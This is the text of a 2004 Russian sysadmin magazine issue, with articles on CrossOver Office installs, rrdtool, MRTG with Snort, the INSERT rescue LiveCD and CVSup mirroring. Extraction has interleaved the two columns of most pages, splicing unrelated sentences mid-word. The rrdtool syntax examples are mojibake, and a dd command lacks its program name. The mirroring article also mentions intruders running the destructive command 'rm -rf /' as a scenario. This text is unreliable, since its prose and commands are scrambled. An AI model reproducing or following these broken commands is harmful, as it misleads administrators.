Академический Документы
Профессиональный Документы
Культура Документы
Использование rrdtool
для мониторинга сети
MRTG + snort
Зеркалирование информации
Знакомство с Open WebMail
Postfix как шлюз для Exchange
Role Based Access Control в Solaris 9
IPFilter с самого начала
Централизованное обнаружение
вторжения с Samhain
Побег через брандмауэр
Утечки памяти в программах на Perl
№5(18) май 2004
АДМИНИСТРИРОВАНИЕ БЕЗОПАСНОСТЬ
4
администрирование
АНДРЕЙ БЕШКОВ
6
администрирование
Надеюсь, что третьей статьей мне наконец-то удастся за-
вершить повествование и охватить все вопросы, прислан-
ные читателями в ответ на предыдущие публикации по
этой теме. Как и обещал, сегодня мы займемся изучени-
ем способов поиска неисправностей и скользких момен-
тов, скрытых в Windows-программах и не позволяющих Обнаружение данного неприятного факта не оставляет
успешно работать со столь необходимыми нам приложе- нас равнодушными. Поддержка скриптов InstallShield еще
ниями внутри эмулятора. В дальнейшем я предполагаю, не очень хорошо реализована в эмуляторе, поэтому нам
что вы умеете самостоятельно установить и произвести придется многие действия выполнять вручную и весьма ча-
начальную настройку CrossOver Office. Как обычно, гото- сто прибегать к помощи шаманского бубна. Впрочем, нас
вясь к любым экспериментам внутри эмулятора, лучше это ни в коей мере не огорчает, потому что пользователи
всего сделать резервную копию директории /cxoffice, в UNIX – люди к трудностям привычные. Так, шаг за шагом
которой находится наш урезанный вариант Windows. В мы доходим до момента, когда приходится выбрать, куда
случае если что-то пойдет не так, как мы ожидаем, у нас именно нужно устанавливать программное обеспечение.
всегда будет возможность восстановить рабочую среду
простым копированием ее из архива.
В качестве первого подопытного кролика была выбра-
на программа Ulead Smart Saver Pro 3.0. Она привлекла
мое внимание тем, что умеет очень хорошо оптимизиро-
вать изображения, и в то же время в ней присутствуют
практически все проблемы, с которыми можно столкнуть-
ся при установке Windows-программ. Довольно часто
файл, в котором хранится изображение, после обработки
этим приложением может похудеть без потери качества
на размер от 20 до 80 процентов первоначального объе-
ма. Несмотря на все увеличивающееся пропускную спо-
собность интернет-каналов, такая оптимизация способна
довольно благотворно повлиять на скорость работы лю-
бого сайта. Скачиваем дистрибутив пробной версии это-
го приложения здесь: http://www.ulead.com/ssp/runme.htm.
Как обычно, с помощью программы officesetup начинаем
новую инсталляцию официально неподдерживаемого про- На следующем шаге должно начаться копирование
граммного обеспечения. Первый же появившийся экран файлов. К сожалению, этого не происходит, и на экране
программы Ulead Smart Saver Pro заставляет нас предпо- появляется следующая ошибка.
ложить что-то неладное: уж очень подозрительно выгля-
дят многочисленные надписи «exclamdown», рассыпавши-
еся вперемешку с фигурными скобками по верхней части
диалогового окна. Судя по всему, какой-то из служебных
скриптов работает неправильно.
8
администрирование
Итак, разобравшись с теорией, приступим к практи- вновь, но уже без отладки. Дойдя до момента, когда нуж-
ческим действиям. Нам нужно узнать, что же именно ме- но указать, куда устанавливать программу, останавлива-
шает программе установить в систему эту загадочную биб- емся и смотрим, что у нас появилось нового в интересую-
лиотеку OPASmgr.dll. А так как речь идет об ошибке, свя- щей нас директории. Там действительно есть на что по-
занной с файлом, то, видимо, стоит посмотреть, как при- глядеть, особенно обращают на себя внимание папки,
ложение обращается со своими файлами. Для этого по- иерархия которых отображена на следующей картинке.
даем следующую команду:
10
администрирование
[AppDefaults\\Usspro.exe\\DllOverrides] жимое архивов. Думаю, инсталляция этого комплекса ни у
; Ulead Smart Saver Pro 3.0 кого не вызовет затруднений.
"shdocvw" = "builtin"
"shlwapi" = "builtin Пользуясь только что полученными инструментами, мы
сможем записать все действия, которые подопытная про-
После сохранения файла конфигурации можно будет грамма выполняет во время своей установки. А затем
удобнее и спокойнее работать с приложением без стра- повторить их вручную под управлением CrossOver, тем
ха забыть какую-либо опцию или уронить другие програм- самым освобождая себя от необходимости пользоваться
мы, которым для правильного функционирования нужно фирменным инсталлятором. Запустив Regmon, должны
обязательно загружать родные варианты вышеназван- увидеть на экране похожую картинку.
ных DLL.
Закончив бороться с этой программой, мы многому на-
учились, но пока что не время останавливается. Поэтому
сейчас нужно заняться установкой программы Ultra Edit
версии 10.10b, которую можно скачать, перейдя по следу-
ющему адресу: http://www.ultraedit.com/downloads/. Данное
приложение выбрано в качестве объекта эксперимента по
двум причинам. Во-первых, потому, что оно является, с
моей точки зрения, одним из самых удобных редакторов
для разработчика из всех когда-либо встречаемых мной
под Windows. Вторая причина состоит в том, что из-за Как вы могли убедиться, интерфейс приложения прост
очень сложного кода инсталлятора программу тяжело ус- и интуитивно понятен. При каждом обращении любого
тановить и успешно эксплуатировать под управлением процесса к реестру программа записывает время, когда
эмулятора. А нам это как нельзя кстати. Позарез нужны случилось событие, имя процесса, тип действия, ключ
именно такие тяжелые пациенты, потому что, заставив эту реестра, с которым нужно взаимодействовать, код воз-
программу работать, мы сможем изучить несколько но- врата и данные, полученные в результате выполнения дей-
вых продвинутых приемов. Это в свою очередь позволит ствия. Интерфейс утилиты Regmon выглядит точно так же,
существенно повысить успешность наших попыток по пе- единственное отличие в том, что он показывает действия,
реносу Windows-приложений в среду эмуляции. Добавоч- производимые по отношению к файлам.
ный опыт выживания в сложных условиях будет для нас
очень кстати. Пробуем запустить инсталляцию и убежда-
емся в том, что дела идут хуже некуда. Программа, нари-
совав на экране заставку, падает через полсекунды, бук-
вально засыпав экран ворохом ошибок. Опробовав все
приемы, изученные нами в борьбе с предыдущим против-
ником, понимаем, что проблема ни на йоту не сдвинулась
с мертвой точки, а все приобретенные знания ничем не
помогают.
Пришло время бросить в бой танковые дивизии и за-
давить противника техническим преимуществом. Для со-
здания полигона нам понадобится либо отдельный ком- Обычно в системе работает очень много процессов,
пьютер с работающей Windows 98, либо система полной занимающихся своими собственными делами, дабы они
эмуляции с запущенной внутри нее полноценной версией не мешали нам и не мусорили в протокол, мы должны су-
нужной нам операционной системы. В качестве таких эму- зить поле зрения запущенных утилит. Для этого клави-
лирующих контейнеров можно использовать VMWare шей щелкаем на неугодном процессе и в ниспадающем
Workstation, Virtual PC или Win4Lin. Я выбрал VMWare как меню выбираем пункт «Exclude Process». Исключая один
наиболее привычный для меня инструмент, ну а вы може- процесс за другим, мы должны добиться, чтобы протоко-
те использовать любой из вышеперечисленных вариан- лировались только действия процесса, занимающегося
тов, самый подходящий под ваши вкусовые предпочте- инсталляцией. Запустив установку UltraEdit, выбираем,
ния. Главное, чтобы у нас была нормальная рабочая вер- какой тип инсталляции провести.
сия Windows, под управлением которой мы сможем проин-
сталлировать все необходимые инструменты. Первым де-
лом устанавливаем программу Filemon, которая позволяет
протоколировать все обращения к файлам. Затем делаем
то же самое с программой Regmon, помогающей следить
за всеми манипуляциями с реестром. Автор обоих выше-
описанных инструментов Mark Russinovich. Они лежат в сво-
бодном доступе на сайте: http://www.sysinternals.com/win9x/
98utilities.shtml. Установка проста, как три копейки. Создайте
на жестком диске директорию и распакуйте в нее содер-
12
администрирование
$ cat uedit_file_inst.log | grep Write | grep SUCCESS | cut ↵
-f5> | grep -v "TEMP" | sort -u > uedit_file_inst_selected.log
В результате получаем файл размером в 1.4 Кб с вот
таким содержимым:
Складываем в отдельную папку файлы, указанные в Как вы теперь можете убедиться, всю рутинную рабо-
списке. Иерархию директорий, в которой эти файлы из- ту удалось выполнить очень легко. Именно в таких зада-
начально находились, лучше всего воссоздать в нашей чах проявляется скромное очарование UNIX.
временной папке. Так будет проще разложить файлы по Первая строка этого файла слегка сбила меня с толку.
нужным местам в эмуляторе. Впрочем, файлы WIN386.SWP Поискав в реестре, я так и не смог найти разделов и клю-
и все, что связано с рабочим столом и главным меню, мож- чей с именем 0xC2A13710. Но, с другой стороны, такой
но не копировать. раздел должен быть, ведь мы отбирали записи только о
Настало время приступить к выполнению действий над тех операциях с реестром, которые были действительно
файлом, в котором хранится протокол работы с реестром. выполнены и возвратили код SUCCESS. Немного поду-
Процедура фильтрации отличается от предыдущего при- мав, я стал искать с помощью программы regedit подраз-
мера только тем, что мы выбираем строки, в которых делы с именем SavedLegacySettings. Такая цепочка сим-
встречается цепочка символов SetValue. волов встречалась лишь в следующих подразделах:
В качестве награды за труды и проявленную сообра- Добавив их в файл вместо символов 0xC2A13710, я
зительность получаем файл tmp.log размером в 2.9 Кб. решил, что можно приступать к экспорту данных из реес-
тра. По идее можно было бы еще сильнее уменьшить этот
файл, сведя все ключи к минимальному общему набору
символов. К примеру, следующие ключи:
14
bugtraq
ИСПОЛЬЗОВАНИЕ RRDTOOL
ДЛЯ МОНИТОРИНГА СЕТИ
ВСЕВОЛОД СТАХОВ
Rrdtool была разработана в качестве альтернативы mrtg ное решение – записывать в одну ячейку данных несколь-
(написанной, кстати, тем же автором). Основной целью ко показателей, производя над ними некую статистичес-
автора было ускорение работы и добавление расширен- кую функцию. В каждую round-robin базу данных можно
ных возможностей по построению графиков, а также ус- записывать несколько рядов ячеек, принимающих пока-
тойчивость к сбоям. Rrdtool является очень «чистой» в затели из одного источника, но по-иному комбинируя по-
плане понимания логики работы, но за это пришлось по- ступающие данные. Ну а график строится банальным из-
платиться отсутствием внешнего файла конфигурации. влечением данных из базы за определенный период. Как
Этот недостаток пытались исправить во многих fron-end к все это выглядит на практике?
rrdtool (http://www.rrdtool.com/rrdworld/index.html), но, на мой В первую очередь нужно решить, за какими данными
взгляд, иногда проще написать грамотный скрипт, чем мы будем следить. Естественно, на первый план выходит
ковыряться со множеством настроек в запутанном кон- контроль трафика маршрутизаторов, коммутаторов, на-
фигурационном файле. Тем более что для сбора данных грузка аппаратной части серверов (загрузка ЦП, исполь-
с различных счетчиков выполняются практически анало- зование жестких дисков, контроль работы сетевых интер-
гичные действия. фейсов, объем свободной памяти и прочее), нагрузка на
Итак, рассмотрим общую логику работы rrdtool. Вна- сетевые сервисы, такие как http-, ftp-, proxy-сервера.
чале мы создаем так называемую round-robin database И первый вопрос, который встает перед нами, – как
(кольцевая или закольцованная база), в которую можно собирать статистическую информацию. Наиболее общим
записывать показания счетчиков. Почему round-robin – т.к. решением является использование протокола snmp, но это
в базе хранится только определенное количество ячеек не всегда является приемлемым для некоторых целей, на-
данных, иначе постоянно увеличивающееся количество пример, статистики http-сервера. Тогда на помощь прихо-
поступающих данных просто-напросто переполнит файл дят различные утилиты анализа log-файлов, счетчики про-
данных лишней, устаревшей информацией. граммных firewall.
Возникает закономерный вопрос – как сделать график, Если используется snmp, то для снятия статистики до-
например, за год работы? Было выбрано очень грамот- статочно иметь программы, вроде snmpget и документа-
16
администрирование
цию по OID соответствующего оборудования (например, RRA:ôóíêöèÿ_êîíñîëèäàöèè:äîñòîâåðíîñòü: ↵
по оборудованию Cisco всегда можно найти список под- îòñ÷åòîâ_íà_ÿ÷åéêó:÷èñëî_ÿ÷ååê
держиваемых OID для конкретного устройства). В против- Думаю, необходимы некоторые пояснения.
ном случае приходится вручную задавать команду для ана- Параметр filename.rrd указывает имя файла rrdb (мо-
лиза необходимых параметров. Главные критерии в вы- жет быть абсолютным или относительным, что, конечно
боре метода – скорость, доступность и надежность. Ко- же, решается на этапе подстановки самой shell), --step дли-
нечно, необходимо учесть, что ценность статистической тельность_шага – задает число секунд между предпола-
информации в ее постоянном контроле, то есть если взгля- гаемыми обновлениями rrdb, далее следуют определения
нуть на состояние системы в данный момент, то вряд ли источников данных (DS). Строки DS описывают источни-
можно понять, справляется ли она с нагрузкой, увидеть ки данных, которые будут поступать в rrdb, параметры DS-
рост нагрузки и выявить момент, когда что-либо будет нуж- line означают следующее:
даться в замене или усовершенствовании. Определив- ! имя_источника_данных – символическое имя DS, по
шись с источником информации, можно приступить к на- которому к нему будет идти обращение;
писанию скрипта для rrdtool. ! тип_источника – символическая константа, определя-
Для начала некоторые сведения о структуре скрип- ющая выбор функции для помещения нового значе-
тов. Прежде всего создаются два или три скрипта, один ния в rrdb, допустимые значения:
из которых выполняется однократно, создавая round-robin ! COUNTER: для получения текущего значения отсче-
базы данных при помощи rrdtool create. Далее необходи- та предыдущее значение счетчика вычитается из те-
мо периодически запускать скрипт обновления round- кущего и делится на интервал между отсчетами (на-
robin databases (далее rrdb), который снимает показания пример, счетчик переданных байт для измерения
с различных сенсоров и передает их в rrdb при помощи скорости). Переполнение счетчика обрабатывается
rrdtool-update, кроме того, в этот скрипт можно включить только для типа COUNTER. Счетчики могут хранить
генерацию графиков (rrdtool graph). В некоторых случа- только целые 32- или 64-битные числа;
ях можно вынести генерацию графиков в cgi-скрипт, тог- ! GAUGE: получаемое значение просто кладется в rrdb
да каждый раз при вызове cgi-скрипта будут генериро- (например, для счетчика загрузки CPU или темпе-
ваться графики. ратуры, когда нужна не разность, а само значение);
Второй вариант подходит при использовании mod_expire ! DERIVE: COUNTER, который может уменьшаться
(модуль apache, позволяющий указать периоды устаре- (защиты от переполнения нет);
вания статических данных, таких как рисунки) и является ! ABSOLUTE: получаемое значение делится на интер-
весьма практичным, т.к. графики обновляются тогда, ког- вал времени между отсчетами, полезно для обнуля-
да запрашиваются данные, и только в том случае, если ющихся при чтении источников данных.
старые данные устарели (очень большое преимущество ! интервал_определенности(heartbeat) – значение (в се-
по сравнению c mrtg). При создании скрипта обновления кундах), определяющее, сколько времени может прой-
rrdb необходимо учесть, что вызываться он будет весьма ти, пока при непоступлении новых данных от счетчика
часто и при большом количестве собираемых данных мо- в rrdb будут записываться значения Unknown (обычное
жет сильно «тормозить» систему. Для таких языков, как значение – 2∗длительность_шага);
perl и python, написаны соответствующие библиотеки для ! min,max: минимальные и максимальные значения, ко-
доступа к rrdb, поэтому часто целесообразно использо- торые могут поступить с сенсора, в качестве значения
вать именно их. Однако в данной статье я буду ориенти- может быть указан символ U, означающий отсутствие
роваться все же на shell-скрипты, т.к. наиболее ресурсо- нижнего или верхнего пределов.
емким является вызов внешних программ сбора данных,
таких как snmpget. После опеределения DS для данной rrdb необходимо
Установка rrdtool проблем вызывать не должна – изу- опеределить один или несколько round-robin архивов, для
чаем http://www.rrdtool.com/download.html и выбираем чего служит параметр RRA. Вообще понятие архива в дан-
нужную версию в требуемом формате (для FreeBSD, на- ном случае означает ряд значений, получаемых для DS и
пример, лучше всего использовать систему портов). имеющего такие параметры, как число точек отсчета на
Rrdtool содержит также несколько сторонних библиотек, ячейку ряда и число ячеек в ряду. Все данные, осуществ-
таких как libgd (для генерации графики), libpng (для ге- ляемые с rrdb происходят не через реальные значения
нерации png-изображений), а также zlib (для компрессии счетчиков, а через RRA, что позволяет вести статистику
изображений). Обязательно нужно указать в аргументах различных временных периодов и сильно сокращает раз-
к configure --enable-shared=yes для создания разделяе- мер rrdb. Синтаксис RRA-line таков:
мых библиотек rrdtool для дальнейшего их использова- ! функция_консолидации – функция для объединения
ния другими программами. данных, получаемых от датчика в ячейку RRA, может
Итак, для начала опишу применение утилит из пакета принимать следующие значения:
rrdtool. Для создания rrdb используется команда rrdtool ! AVERAGE – высчитывается среднее арифметичес-
create, имеющая следующий синтаксис: кое всех отсчетов;
! MAX,MIN – максимальное и минимальное значение
rrdtool create filename.rrd --step äëèòåëüíîñòü_øàãà ↵ отсчетов соответственно;
DS:èìÿ_èñòî÷íèêà_äàííûõ:òèï_èñòî÷íèêà: ↵
èíòåðâàë_îïðåäåëåííîñòè:min:max ↵ ! TOTAl – сумма всех отсчетов;
18
администрирование
! MGRID – основная сетка; ! стандартные арифметические (+, -, *, /, %);
! FONT – шрифт; ! тригонометрические (SIN, COS);
! FRAME – границы непосредственно графика; ! алгебраические (LOG, EXP, FLOOR, CEIL);
! ARROW – стрелки. ! сравнения (GT, GE (>=), LT, LE (<=), EQ, работают так –
берутся два числа из стека, сравниваются, в стек по-
Опцию --color можно использовать несколько раз для мещается 0 или 1, например: 1,2,LT поместит в стек 0
указания цвета различных элементов. (аналогично 1>2));
Это, разумеется, неполный список опций, но для боль- ! условный оператор IF (из стека берутся три значения,
шинства задач его вполне хватает. В rrdtool graph есть, если последнее истинно (не ноль) – в стек помещает-
собственно говоря, два способа задания переменных. ся второе выражение, если ложно – то первое, напри-
Один – непосредственно из rrdb, а другой – на базе оцен- мер 1,2,LT,1,0,IF будет расцениваться так, если 1>2, то
ки некоторого выражения, составленного в обратной поместить в стек 1, иначе поместить 0);
польской нотации. Рассмотрим оба этих способа. Для из- ! статистические (MIN, MAX, берут из двух значений из
влечения данных из rrdb используется следующая конст- стека минимальное и максимальное соответственно);
рукция: ! ограничения (LIMIT, берет три значения из стека:
var,low,high – если var не лежит между low и high, то в
DEF:èìÿ_ïåðåìåííîé=rrdb:ds-name:ôóíêöèÿ_êîíñîëèäàöèè стек помещается UNKNOWN, иначе – var).
20
безопасность
MRTG + SNORT
«Лучше один раз увидеть, чем сто раз услышать» гласит пословица. Многие вещи мы лучше
понимаем, представляем и запоминаем, если видели их собственными глазами. При этом не
всякое нами увиденное воспринимается одинаково хорошо. Очень сильно на процесс восприятия
влияет наглядность. В этой статье будет рассмотрен именно такой вариант отображения данных
об интенсивности атак, регистрируемых с помощью Snort. В качестве средства отображения
используется MRTG.
ПАВЕЛ ЗАКЛЯКОВ
22
безопасность
Предполагается, что имеется СОА Snort, данные с одного от имени пользователя snort. Выполним подключение ко-
или нескольких сенсоров которой заносятся в БД инци- мандой:
дентов. Необходимо организовать визуальное отображе-
ние среднего уровня атак в зависимости от времени. Для # mysql -u snort -p
отображения удобнее всего использовать штатное сред-
ство большинства Linux-систем – MRTG (The Multi Router введя после соответствующий пароль, если он был задан.
Traffic Grapher) [1, 2 стр. 52-53, 3 стр. 316, 4 стр. 208-216]. Далее выберем БД snort командой:
Предполагается, что MRTG у вас уже установлен. Рассмот-
рим его настройку. Конфигурационный файл MRTG обыч- mysql> USE snort;
но называется mrtg.cfg и находится в директории /etc/mrtg.
Нам необходимо отредактировать или создать заново этот и выполним вышеописанный SQL-запрос. В результате на
файл, добавив туда следующие строки: экране у вас может быть примерно следующее:
mrtg.cfg
24
безопасность
щен веб-сервер, просмотрите любым графическим брау- Второе замечание касается подсчёта числа атак в еди-
зером файл http://yourserver/mrtg/snort/snort.html, либо файл ницу времени при построении графика. В случае если по
/var/www/html/mrtg/snort/snort.html локально в противном каким-то причинам придётся запускать mrtg в разные интер-
случае. В результате вы увидите картинку, подобную ни- валы времени, то, возможно, вам пригодится следующая
жеследующей: информация. Сейчас, когда запускается mrtg то, так как в
Options указано слово absolute, осуществляется деление
переданного значения от скрипта на время, равное разнице
между текущим запуском mrtg и предыдущим. Это время
приблизительно равно 300 секундам и там, и там, поэтому
получается примерно точно. Однако если по каким-то при-
чинам с момента последнего запуска mrtg прошло другое
количество времени, то как легко предположить, среднее чис-
ло атак будет подсчитано неправильно. Несколько исправить
ситуацию может использование опции gauge вместо absolute,
но не всегда. Если указана опция gauge, то значение не де-
лится на интервал времени, а принимается равным тому, что
передали. Соответственно, для правильного подсчёта и ото-
бражения в скрипте snort_stat.pl необходимо будет делить
выводимое значение на 5. Этот способ подсчёта также яв-
ляется грубым, но может помочь вам несколько уменьшить
ошибку, поменяв правила её подсчёта.
Литература, ссылки:
1. MRTG: The Multi Router Traffic Grapher http://
people.ee.ethz.ch/~oetiker/webtools/mrtg/
2. Закляков П. Разводной мост на Linux. – //Журнал «Си-
После того как, казалось бы, всё рассказано и показа- стемный администратор» №4(5), апрель 2003 г.
но, хочется сделать пару замечаний. 3. Манн С., Крелл М. Linux. Администрирование сетей
Первое касается точности построения графиков. Как TCP/IP. Пер. с англ. – М.: ООО «Бином-Пресс», 2003 г.
легко заметить, для запуска используется демон crond, ко- 4. Колисниченко Д.Н. Linux-сервер своими руками. – СПб:
торый запускается после указанного времени, когда не толь- Наука и Техника, 2002 г.
ко загрузка системы позволит это сделать, но и будет ниже 5. Закляков П. Удобнее, эффективнее, лучше: snort +
определённой. В результате следует понимать, что запуск MySQL – //Журнал «Системный администратор» №11(12),
происходит не точно каждые 5 минут. Если будет запозда- ноябрь 2003 г.
ние, то скрипт, подсчитывающий атаки, запустится позже, 6. Холзнер С. Perl: Специальный справочник – СПб: Пи-
в результате его пятиминутный интервал не перекроется с тер, 2000 г.
предыдущим и будет дырка, то есть часть атак не будет 7. Дюбуа П. Применение MySQL и Perl в Web-приложе-
подсчитано. Если же после «запоздавшего» задания сле- ниях.: Пер. с англ. – М.:Издательский дом «Вильямс»,
дующее будет вовремя, то произойдёт перекрытие и неко- 2002 г.
торые атаки будут подсчитаны дважды. Для систем с гру- 8. Как получить доступ к базе данных из cgi-скриптов?
бой оценкой это не важно, так как отклонения эти не боль- (Техническая поддержка Zenon N.S.P.: Виртуальные
шие и примерно компенсируются и не накапливаются в силу unix-серверы : Вопросы по MySQL) http://www.host.ru/
случайно флуктуирующего числа атак в единицу времени. documentation/v-www/0025.html#11
Для более точных оценок данный метод следует корректи- 9. Тейнсли Д. Linux и UNIX: программирование в shell. Ру-
ровать. Именно по причине грубости данного метода я не ководство разработчика: Пер. с англ. – К.: Издательс-
вижу смысла запускать mrtg чаще чем раз в 5 минут. кая группа BHV, 2001 г.
СЕРГЕЙ ЯРЕМЧУК
Бешеная популярность GNU/Linux не в последнюю очередь Если BIOS не поддерживает загрузку с CD-ROM, то
обусловлена наличием большого количества узконаправ- можно создать загрузочную дискету командой:
ленных дистрибутивов, адаптированных для выполнения
конкретных задач. Наиболее популярны среди них firewall, #if=mounted_cdrom_directory/INSERT/boot.img of=/dev/fd0 bs=18k
позволяющие настроить доступ в Интернет, в том числе и
неподготовленному пользователю, также в последнее вре- Во время загрузки есть возможность указать ряд до-
мя становятся популярными дистрибутивы, предназначен- полнительных опций (просмотреть список можно по F2),
ные для анализа сетевой безопасности удаленных и ло- из которых хотелось бы отметить insert toram, позволяю-
кальных вычислительных систем и сетей в основном в щую загрузить содержимое диска в оперативную память
виде LiveCD-дистрибутивов, позволяющих проделать все и освободить дисковод. После чего загрузочный скрипт
необходимые операции без установки системы на жест- найдет все разделы на жестком диске, но монтировать их
кий диск. Причем некоторые разработки могут прийтись не будет, это сделано специально для того, чтобы макси-
по вкусу и закоренелым пользователям Windows-систем, мально сохранить данные. При необходимости нужный
т.к. могут оказаться тем единственным подручным сред- раздел монтируем (все найденные можно просмотреть в
ством, при помощи которого можно спасти свои данные. каталоге /mnt/):
Об одном таком дистрибутиве и пойдет речь далее.
INSERT (Inside Security Rescue Toolkit) – так называет- #mount /mnt/hda3
ся LiveCD-дистрибутив, от Inside Security IT Consulting
GmbH, предназначенный в первую очередь для решения После чего он будет смонтирован в режиме чтение-за-
задач по спасению данных, а также для сетевого анализа. пись. По умолчанию работаем как пользователь insert, при
Домашняя страница проекта: http://www.insert.cd/. Размер необходимости все остальные утилиты запускаются при
версии 1.2.3., которой я пользуюсь, всего-то 49.5 Мб, что помощи sudo без пароля. Далее, если сеть не настрои-
позволяет записать его на болванку размером с корпора- лась при помощи DHCP, настраиваем ее вручную. Для
тивную карточку, которая много места не займет, и иметь этого воспользуемся командами ifconfig и route.
всегда при себе.
При выборе образа для загрузки нужно быть внима- #ifconfig eth0 192.168.0.20 netmask 255.255.255.0
#route add default gw 192.168.0.254
тельным, т.к. на данный момент имеются две версии: не-
мецкая с приставкой de и английская – en. Базируется И заносим в /etc/resolv.conf имя ближайшего сервера
INSERT на популярном LiveCD-дистрибутиве KNOPPIX, что имен. Например:
позволяет, воспользовавшись понятной инструкцией по
разделке KNOPPIX Remastering HowTo (http:// nameserver 192.168.0.254
www.knoppix.net/docs/index.php/KnoppixRemasteringHowto),
при необходимости внести изменения в состав приложе- Из меню можно вызвать утилиты настройки pppconfig,
ний дистрибутива. pppoeconf для DSL или isdnconfig для ISDN. В настройке
Ядро INSERT поддерживает все файловые системы, модемного соединения помогут скрипты ppp-scripts-
которые могут понадобиться, – это Linux-журналируемые knoppix и pppconfig.
ext3, JFS, ReiserFS, XFS, а также Microsoft FAT с NTFS, Приложения, входящие в состав INSERT, можно раз-
что перекрывает большую часть потребностей. При заг- делить по следующим категориям:
рузке система пытается найти разделы LVM (logical Утилиты для работы с дисковыми разделами восста-
volume manager). Система будет работать на большин- новления данных. В первую очередь интересна утилита
стве оборудования, знает о Wireless-девайсах (имеются captive, представляющая эмулятор ядра Windows NT, по-
и утилиты для работы – orinoco, linux-wlan-ng, wavemon), зволяющий работать с разделами, отформатированными
SCSI-устройствах, RAID, в т.ч. и software-RAID, исключе- под NTFS, причем поддерживается и запись. Кроме того,
ния составляют, наверное, Win-модемы. Интересно, что работает и с разделами/образами в FAT, ext2, ISO9660.
в такой маленький объем разработчикам удалось вмес- Далее идет утилита gpart, позволяющая найти «поте-
тить и X-Window с оконным менеджером fluxbox, так что рявшиеся» разделы на жестком диске в случае, если таб-
те, кто еще не привык к работе в командной строке, бу- лица первичных разделов в нулевом секторе была повреж-
дут работать в более удобной для себя среде. дена или удалена.
26
администрирование
Утилита partimage позволяет сохранять разделы во го назначения апплет wmifs, traceroute и интерфейс mtr-tiny,
многих форматах (ext2fs/ext3fs, ReiserFS, FAT16/32, HPFS, dnsutils, ftp (с GTK-интерфейсом axyftp-gtk), ssh, httptunnel,
JFS, XFS, UFS, HFS, NTFS), причем, в отличие от dd, про- icmpush (позволяет самстоятельно строить ICMP-пакеты),
пускает нулевые секторы и может сжимать данные, что sendip (позволяет посторить произвольные IP-пакеты),
позволяет экономить место на диске, особенно при рабо- веб-браузер Links.
те с разделами больших размеров, удобна для клониро- Утилиты анализа и повышения защищенности системы:
вания системы. chntpw (утилита восстановления паролей NT SAM), wipe (для
Также поможет в поиске и восстановлении потерянных безопасного удаления файлов), smb-nat (утилита аудита
разделов утилита testdisk, имеющая систему меню, облег- NetBIOS), idswakeup (для тестирования IDS-систем).
чающую работу с ней новичкам, и режим Advanced, пред- И целый ряд вспомогательных утилит вроде программ
назначенный для экспертов. для создания iso-образов и записи их на СD (mkisofs,
Для восстановления данных, умышленно или случай- cdrecord и burncenter), редакторы nvi и nano, набор для
но уничтоженных с дискового раздела ext2, поможет ос- работы с различными архивами и еще много различных
нованная на «Ext2-undeletion howto» утилита recover с гра- утилит.
фическим Gtk-интерфейсом gtkrecover. В дополнение к Приятно, что разработчики полностью сохранили до-
стандартной утилите dd имеется dd-rescue, позволяющая кументацию в виде man-страниц, что позволяет быстро
создать образ, несмотря на ошибки. разобраться в работе с незнакомыми утилитами или
Утилиты защиты системы, к которым можно отнести вспомнить опции командной строки.
антивирус Clamav, chkrootkit, предназначенный для поис- В принципе для большинства восстановительных ра-
ка вложений – rootkits и lsof. Для обновления антивирус- бот такой наборчик подойдет вполне. Особенно понрави-
ных баз в меню встроен отдельный пункт, вызов которого лась возможность освобождения CD-ROM/RW, который
при настроенном соединении автоматически обновит можно использовать, например, для восстановления спа-
базы, или вручную набрать freshclam. После чего можно сенной информации.
запускать clamscan с указанием примонтированого дис- Это довольно хороший инструмент администратора,
кового раздела. позволяющий использовать специфические для UNIX при-
Утилиты анализа и работы в сети: iptables, tcpdump, ложения на Windows-системах, а также для пользовате-
nmap, iptraf (IP Network Statistics Utility) плюс аналогично- лей, желающих начать знакомство с основами UNIX.
ЗЕРКАЛИРОВАНИЕ ИНФОРМАЦИИ
В этой статье будет рассказано о создании
простой и удобной системы зеркалирования
информации с помощью пакета CVSup.
АЛЕКСАНДР БАЙРАК
Трудно переоценить ту пользу, которую приносят нам ре- рез сеть. Он состоит из двух частей – клиента и сервера.
зервные копии, заботливо нами же и сделанные. Сколько Да, есть аналогичные средства – sup и rdist, а чем CVSup-
нервов и времени не было благодаря им потрачено впус- то лучше? CVSup более гибок в настройках, и обеспечи-
тую… вает большую скорость работы по сравнению с вышеука-
Процесс зеркалирования хоть и схож по смыслу, но занными средствами. CVSup может эффективно копиро-
все же несколько отличается от классического резерв- вать файлы любых типов, вплоть до файлов устройств. С
ного копирования информации. Более того, зеркалиро- помощью CVSup можно зеркалировать как отдельные ка-
вание в полной мере не сможет его заменить. А зачем талоги, так и весь сервер целиком. А что? Очень удобно
же тогда использовать зеркалирование, если оно не за- получается.
менит процесс стандартного бекапа? Рассмотрим не- Я установил систему зеркалирования на FreeBSD, но
большой пример. ее так же можно установить на любую другую BSD-систе-
На работе у X есть веб-сервер, X как добросовестный му или на Linux.
админ выполняет каждодневное резервное копирование, CVSup мной был установлен из пакаджей, которые
даже скрипты для автоматизации процесса написал. И все шли вместе с системой. При желании пользователи BSD-
бы ничего: резервные копии ведутся, хотите контент сай- систем могут установить этот пакет из коллекции пор-
та двухнедельной давности? Пожалуйста! Но случилось тов, а можно самостоятельно скомпилировать из исход-
страшное, злобные script-kiddies взломали веб-сервер и ников, которые располагаются тут: ftp://ftp.FreeBSD.org/
снесли все содержимое сайта. Конечно, не беда, есть ре- pub/FreeBSD/development/CVSup/ .
зервные копии, и все можно воcстановить, но сколько В сети есть и rmp-пакеты CVSup.
времени это займет? Да, казалось бы, не долго, минут 20 В общем, проблем с получением и установкой возник-
(в лучшем случае), и все будет на месте, но эти самые 20 нуть не должно. Расписывать пошагово весь процесс не
минут сайт компании будет в простое, (это если только вижу смысла.
содержимое сайта(ов) снесли, а что делать, если злодеи Так как эта статья не задумывалась как исчерпываю-
недрогнувшей рукой набрали rm –rf / )… невеселая карти- щее руководство по зеркалированию информации, я не
на вырисовывается. Вот для того чтобы этого не произош- буду рассматривать примеры создания полной копии од-
ло, можно (и нужно) зеркалировать информацию. (Конеч- ного/нескольких серверов целиком, все будет показано на
но, зеркалирование не спасет вас от script-kiddies, но под- одном простом примере, я думаю, его будет достаточно,
разумевается, что восстановление работоспособности для того чтобы понять, как работает CVSup.
сайта (или всего сервера) займет намного меньше вре- Перейдем от теории к практике:
мени.) Если бы у нашего админа имелась зеркальная ко- Предположим, нам нужно держать зеркальные копии
пия веб-сервера, он использовал бы ее для работы, на следующих каталогов: /var/ftp; /info; /home/user22. Для на-
время восстановления основного веб-сервера. чала нам нужно создать каталоги, в которых разместятся
Почему я взял за основу CVSup? CVSup является па- файлы конфигурации, роль которых – указывать демону
